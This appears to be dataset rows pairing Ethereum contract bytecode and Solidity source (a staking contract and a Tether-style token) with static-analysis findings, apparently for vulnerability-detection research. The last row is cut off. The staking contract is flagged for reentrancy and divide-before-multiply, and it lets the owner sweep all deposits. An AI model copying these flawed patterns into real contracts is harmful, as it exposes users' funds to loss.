0x6080604052600436106101815760003560e01c8063997664d7116100d1578063ca3996711161008a578063e5c42fd111610064578063e5c42fd114610477578063ef037b90146104aa578063f2fde38b146104dd578063f3ec37c21461051057610181565b8063ca39967114610430578063ca84d59114610445578063cc16ab6e1461046f57610181565b8063997664d714610358578063a76267391461036d578063bf9befb1146103a0578063c3f344a8146103b5578063c5a7525a146103e8578063c5cc0f161461041b57610181565b80632c75bcda1161013e5780634e78e565116101185780634e78e565146102ed5780635c0aeb0e146103025780638da5cb5b1461032e57806398d624041461034357610181565b80632c75bcda1461027b5780634baf782e146102a55780634df9d6ba146102ba57610181565b80630f41e0d214610186578063146ca531146101af5780631c233879146101d657806323d308fa146101ed57806329272a631461022057806329652e8614610251575b600080fd5b34801561019257600080fd5b5061019b610543565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c461054c565b60408051918252519081900360200190f35b3480156101e257600080fd5b506101eb610552565b005b3480156101f957600080fd5b506101c46004803603602081101561021057600080fd5b50356001600160a01b0316610846565b34801561022c57600080fd5b5061023561090e565b604080516001600160a01b039092168252519081900360200190f35b34801561025d57600080fd5b506101c46004803603602081101561027457600080fd5b503561091d565b34801561028757600080fd5b506101eb6004803603602081101561029e57600080fd5b503561092f565b3480156102b157600080fd5b506101eb610b74565b3480156102c657600080fd5b506101c4600480360360208110156102dd57600080fd5b50356001600160a01b0316610c65565b3480156102f957600080fd5b50610235610d88565b34801561030e57600080fd5b506101eb6004803603602081101561032557600080fd5b50351515610d97565b34801561033a57600080fd5b50610235610dc1565b34801561034f57600080fd5b50610235610dd0565b34801561036457600080fd5b506101c4610ddf565b34801561037957600080fd5b506101c46004803603602081101561039057600080fd5b50356001600160a01b0316610de5565b3480156103ac57600080fd5b506101c4610e48565b3480156103c157600080fd5b506101c4600480360360208110156103d857600080fd5b50356001600160a01b0316610e4e565b3480156103f457600080fd5b506101c46004803603602081101561040b57600080fd5b50356001600160a01b0316610e60565b34801561042757600080fd5b506101c4610ef4565b34801561043c57600080fd5b506101c4610efa565b34801561045157600080fd5b506101eb6004803603602081101561046857600080fd5b5035610f00565b6101eb6110e4565b34801561048357600080fd5b506101eb6004803603602081101561049a57600080fd5b50356001600160a01b03166110ff565b3480156104b657600080fd5b5061019b600480360360208110156104cd57600080fd5b50356001600160a01b0316611161565b3480156104e957600080fd5b506101eb6004803603602081101561050057600080fd5b50356001600160a01b03166111b6565b34801561051c57600080fd5b506101eb6004803603602081101561053357600080fd5b50356001600160a01b031661125d565b600b5460ff1681565b60085481565b6000546001600160a01b0316331461056957600080fd5b600154600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561063c57600080fd5b505af1158015610650573d6000803e3d6000fd5b505050506040513d602081101561066657600080fd5b50516106b9576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600254600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d60208110156107b657600080fd5b5051610809576040805162461bcd60e51b815260206004820152601e60248201527f4572726f7220696e2072657472696576696e672062627020746f6b656e730000604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610843573d6000803e3d6000fd5b50565b60006001600160a01b03821661088d5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b505190505b919050565b6002546001600160a01b031681565b600f6020526000908152604090205481565b600b5460ff1615610987576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600e602052604090205481118015906109a65750600081115b6109f7576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b600454610a0490826112f1565b6004556000610a123361133c565b336000908152600e602052604090206004810180548301905554909150610a3990836112f1565b336000818152600e60209081526040808320948555600180860187905560055460028701556008546003909601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051610b35576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b336000908152600e602052604090206002015460055410610c63576000610b9a3361133c565b336000908152600e6020526040902060040154909150610bbb90829061144a565b336000818152600e602052604080822060040182905551929350909183156108fc0291849190818181858888f19350505050158015610bfe573d6000803e3d6000fd5b50604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600e60205260409020600181019190915560085460038201556005546002909101555b565b60006001600160a01b038216610cac5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f90945291842054600554929493610d0593610cff92610cf991906112f1565b906114a4565b906114fd565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f909252909120546005549394509192610d4a92610cf991906112f1565b81610d5157fe5b6001600160a01b0386166000908152600e60205260409020600401549190069190910190610d8090829061144a565b949350505050565b6001546001600160a01b031681565b6000546001600160a01b03163314610dae57600080fd5b600b805460ff1916911515919091179055565b6000546001600160a01b031681565b6003546001600160a01b031681565b60055481565b60006001600160a01b038216610e2c5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b506001600160a01b03166000908152600e602052604090205490565b60045481565b600c6020526000908152604090205481565b60006001600160a01b038216610ea75760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600254604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108da57600080fd5b600a5481565b60095481565b60095460045410610f425760405162461bcd60e51b815260040180806020018281038252602781526020018061183b6027913960400191505060405180910390fd5b600154600354604080516323b872dd60e01b81523360048201526001600160a01b03928316602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d6020811015610fcb57600080fd5b50516110085760405162461bcd60e51b81526004018080602001828103825260328152602001806117c66032913960400191505060405180910390fd5b60006110133361133c565b336000908152600e60205260409020600481018054830190555490915061103b90839061144a565b336000818152600e6020526040812092835560018301849055600554600284015560085460039093019290925561107190611161565b90508061108b57336000908152600c602052604090204290555b600454611098908461144a565b6004556110a4336110ff565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a1505050565b600a5434906110f3908261144a565b600a556108438161153f565b600061110a82611161565b90508061115d57600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0384161790555b5050565b6000805b600d548110156111ad57600d818154811061117c57fe5b6000918252602090912001546001600160a01b03848116911614156111a5576001915050610909565b600101611165565b50600092915050565b6000546001600160a01b031633146111cd57600080fd5b6001600160a01b0381166112125760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461127457600080fd5b6001600160a01b0381166112cf576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a202053657474696e67207a65726f206164647265737300000000604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061133383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b90505b92915050565b60006001600160a01b0382166113835760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f909452918420546005549294936113d093610cff92610cf991906112f1565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f90925290912054600554939450919261141592610cf991906112f1565b8161141c57fe5b6001600160a01b03959095166000908152600e60205260409020600401805491909506019093555090919050565b600082820183811015611333576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826114b357506000611336565b828202828482816114c057fe5b04146113335760405162461bcd60e51b815260040180806020018281038252602181526020018061181a6021913960400191505060405180910390fd5b600061133383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b600061156260065461155c600754856114a490919063ffffffff16565b9061144a565b9050600061157b600454836114fd90919063ffffffff16565b90506115926004548361172690919063ffffffff16565b6006556005546115a2908261144a565b600555600854600019016000908152600f60205260409020546115c5908261144a565b600880546000908152600f602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600081848411156116b95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167e578181015183820152602001611666565b50505050905090810190601f1680156116ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836117105760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b50600083858161171c57fe5b0495945050505050565b600061133383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836117b25760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b508284816117bc57fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e6745524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d415820414d4f554e5420524541434845442043414e4e4f54205354414b45204e4f204d4f5245a26469706673582212202e3f76631526e576ce67419c6a05e4e4a52dafc2f40896c1b965ff04b39edbc064736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,930 |
0x1c602bf13ef9f62d0c5268a58d43594b9e3d93ab
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
*Submitted for verification at Etherscan.io on 2017-11-28
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TetherToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffff